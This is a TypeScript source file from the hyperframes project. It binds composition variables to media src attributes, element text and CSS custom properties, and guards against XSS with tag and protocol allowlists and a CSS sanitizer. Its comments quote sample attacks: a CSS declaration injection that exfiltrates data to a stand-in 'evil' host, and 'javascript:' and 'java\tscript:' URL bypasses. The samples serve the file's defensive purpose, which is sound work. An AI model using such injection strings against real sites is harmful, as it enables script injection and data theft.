mirror of
https://github.com/heygen-com/hyperframes.git
synced 2026-09-07 18:26:17 +00:00
197 lines
8.3 KiB
TypeScript
197 lines
8.3 KiB
TypeScript
/**
|
|
* Declarative variable bindings — the no-script consumption channel for
|
|
* composition variables (values are fixed for the page's lifetime, so this is
|
|
* seek-safe and deterministic):
|
|
*
|
|
* - `data-var-src="id"` — sets the element's `src` from the variable value
|
|
* (a URL string or an image value `{url}`). Only allowed on media elements
|
|
* (img/video/audio/source) and only for safe URL protocols — a src on a
|
|
* script-executing tag or a `javascript:`/`data:text/html` value is refused.
|
|
* The authored src stays as the fallback when the variable resolves to nothing.
|
|
* - `data-var-text="id"` — sets the element's OWN text from a scalar variable
|
|
* value. Elements with element children keep them: only the direct text
|
|
* node is replaced, mirroring the SDK's setOwnText semantics — a text
|
|
* binding must never delete nested clips or animation targets.
|
|
* - Every scalar variable (and a font value's family name) is applied as a
|
|
* `--{id}` CSS custom property on its composition root, so CSS bindings
|
|
* like `color: var(--accent)` respond to render/preview overrides instead
|
|
* of only the persisted default.
|
|
*
|
|
* Values resolve against the element's owning composition — the same scope
|
|
* chain the color-grading runtime uses: `__hfVariablesByComp[compId]` for
|
|
* inlined sub-compositions, then the top-level merged `getVariables()`.
|
|
*
|
|
* Applied at init AND re-applied after the composition loader inlines
|
|
* external / template sub-compositions (their DOM and per-instance scoped
|
|
* values don't exist at init). Idempotent: re-applying writes the same
|
|
* values.
|
|
*/
|
|
|
|
import { readVariablesForElement } from "./variableScope";
|
|
import { isScalarVariableValue as isScalar } from "@hyperframes/parsers/composition";
|
|
|
|
// data-var-src only rebinds media `src` on media elements. A user-controlled
|
|
// variable value assigned to a src is an XSS surface on tags whose src executes
|
|
// (`<iframe src="javascript:…">`, `<script src="data:…">`, `<embed>`), so the
|
|
// binding is scoped to elements where `src` is purely a media reference.
|
|
const VAR_SRC_TAGS = new Set(["img", "video", "audio", "source"]);
|
|
|
|
function resolveUrl(value: unknown): string | null {
|
|
if (typeof value === "string" && value.length > 0) return value;
|
|
if (value !== null && typeof value === "object") {
|
|
const url = (value as { url?: unknown }).url;
|
|
if (typeof url === "string" && url.length > 0) return url;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* Protocol allowlist for a resolved media URL. Relative URLs (no scheme) resolve
|
|
* against the page origin and are always safe. Absolute URLs are restricted to
|
|
* http(s)/blob and image data: URIs — defense-in-depth alongside VAR_SRC_TAGS,
|
|
* blocking `javascript:`, `data:text/html`, `file:`, etc. even if a future tag
|
|
* slips past the element guard. Control chars are stripped before the scheme
|
|
* test because browsers ignore them when parsing the URL (`java\tscript:`).
|
|
*/
|
|
function isSafeMediaUrl(url: string): boolean {
|
|
// Browsers ignore ASCII control chars/whitespace when parsing a URL, so strip
|
|
// them before reading the scheme (defeats `java\tscript:` style bypasses).
|
|
// oxlint-disable-next-line no-control-regex -- control chars are the target here
|
|
const normalized = url.replace(/[\u0000-\u0020]/g, "");
|
|
const scheme = /^([a-z][a-z0-9+.-]*):/i.exec(normalized);
|
|
if (!scheme) return true;
|
|
const proto = scheme[1].toLowerCase();
|
|
if (proto === "https" || proto === "http" || proto === "blob") return true;
|
|
if (proto === "data") return /^data:image\//i.test(normalized);
|
|
return false;
|
|
}
|
|
|
|
/**
|
|
* Strip characters that could smuggle additional declarations or markup out of
|
|
* a var() substitution site. A scalar value folded into `background: var(--x)`
|
|
* or `background-image: url(var(--x))` must not be able to close the declaration
|
|
* and inject a new one (`red; background: url(//evil?data=…)`) — none of these
|
|
* characters is legal in a scalar variable value (string, number, color, font
|
|
* family), so removing them is lossless for real inputs and neutralizes the
|
|
* declaration/URL-exfiltration channel.
|
|
*/
|
|
function sanitizeCssValue(value: string): string {
|
|
return value.replace(/[;{}<>\r\n]/g, "");
|
|
}
|
|
|
|
/** CSS custom-property value for a variable, or null when not CSS-applicable. */
|
|
function cssValueFor(value: unknown): string | null {
|
|
if (isScalar(value)) return String(value);
|
|
if (value !== null && typeof value === "object") {
|
|
// Font values apply their family name; the face itself must be loaded by
|
|
// the composition (or the media pipeline).
|
|
const name = (value as { name?: unknown }).name;
|
|
if (typeof name === "string" && name.length > 0) return name;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* Per-run memo of scope element → resolved values, so N bound elements in
|
|
* one scope pay for one resolution (the top-level path re-parses the
|
|
* declarations attribute on every getVariables() call).
|
|
*/
|
|
type ScopeValuesCache = Map<Element | null, Record<string, unknown>>;
|
|
|
|
function valuesForElement(el: Element, cache: ScopeValuesCache): Record<string, unknown> {
|
|
const scope = el.closest("[data-composition-id]");
|
|
const cached = cache.get(scope);
|
|
if (cached) return cached;
|
|
const values = readVariablesForElement(el);
|
|
cache.set(scope, values);
|
|
return values;
|
|
}
|
|
|
|
/**
|
|
* Replace the element's own text while preserving element children (nested
|
|
* clips, animation-target spans). Mirrors the SDK's setOwnText: write the
|
|
* first direct text node, clear the others; append when none exists.
|
|
*/
|
|
function setOwnTextPreservingChildren(el: Element, text: string): void {
|
|
if (el.childElementCount === 0) {
|
|
el.textContent = text;
|
|
return;
|
|
}
|
|
let written = false;
|
|
for (const node of Array.from(el.childNodes)) {
|
|
if (node.nodeType !== Node.TEXT_NODE) continue;
|
|
node.nodeValue = written ? "" : text;
|
|
written = true;
|
|
}
|
|
if (!written) {
|
|
el.insertBefore(el.ownerDocument.createTextNode(text), el.firstChild);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Composition root, matching the SDK's findRoot chain exactly — the SDK
|
|
* persists `--{id}` defaults on this element, so the runtime must write
|
|
* overrides to the SAME element or an inline default on a descendant would
|
|
* shadow an override applied higher up.
|
|
*/
|
|
function findTopRoot(doc: Document): Element | null {
|
|
return (
|
|
doc.querySelector("[data-hf-root]") ??
|
|
doc.getElementById("stage") ??
|
|
doc.body?.firstElementChild ??
|
|
doc.body
|
|
);
|
|
}
|
|
|
|
function applyCssCustomProperties(doc: Document, cache: ScopeValuesCache): void {
|
|
// Top-level root plus every inlined sub-composition root; custom props
|
|
// inherit, so descendants of each root see its scope's values.
|
|
const roots = new Set<Element>();
|
|
const topRoot = findTopRoot(doc);
|
|
if (topRoot) roots.add(topRoot);
|
|
for (const el of Array.from(doc.querySelectorAll("[data-composition-id]"))) {
|
|
roots.add(el);
|
|
}
|
|
for (const root of roots) {
|
|
const values = valuesForElement(root, cache);
|
|
for (const [id, value] of Object.entries(values)) {
|
|
const css = cssValueFor(value);
|
|
if (css !== null && root instanceof HTMLElement) {
|
|
root.style.setProperty(`--${id}`, sanitizeCssValue(css));
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
export function applyVariableBindings(doc: Document): void {
|
|
const cache: ScopeValuesCache = new Map();
|
|
applyCssCustomProperties(doc, cache);
|
|
|
|
for (const el of Array.from(doc.querySelectorAll("[data-var-src]"))) {
|
|
const id = el.getAttribute("data-var-src")?.trim();
|
|
if (!id) continue;
|
|
// Only media elements may take a variable-driven src (see VAR_SRC_TAGS) — a
|
|
// src on <iframe>/<script>/<embed> is a code-execution sink, not a media ref.
|
|
if (!VAR_SRC_TAGS.has(el.tagName.toLowerCase())) {
|
|
console.warn(
|
|
`[hyperframes] Ignoring data-var-src on <${el.tagName.toLowerCase()}>: variable-bound src is only allowed on ${Array.from(VAR_SRC_TAGS).join("/")}.`,
|
|
);
|
|
continue;
|
|
}
|
|
const url = resolveUrl(valuesForElement(el, cache)[id]);
|
|
if (url === null) continue;
|
|
if (!isSafeMediaUrl(url)) {
|
|
console.warn(`[hyperframes] Ignoring data-var-src="${id}": unsafe URL protocol.`);
|
|
continue;
|
|
}
|
|
el.setAttribute("src", url);
|
|
}
|
|
|
|
for (const el of Array.from(doc.querySelectorAll("[data-var-text]"))) {
|
|
const id = el.getAttribute("data-var-text")?.trim();
|
|
if (!id) continue;
|
|
const value = valuesForElement(el, cache)[id];
|
|
if (isScalar(value)) setOwnTextPreservingChildren(el, String(value));
|
|
}
|
|
}
|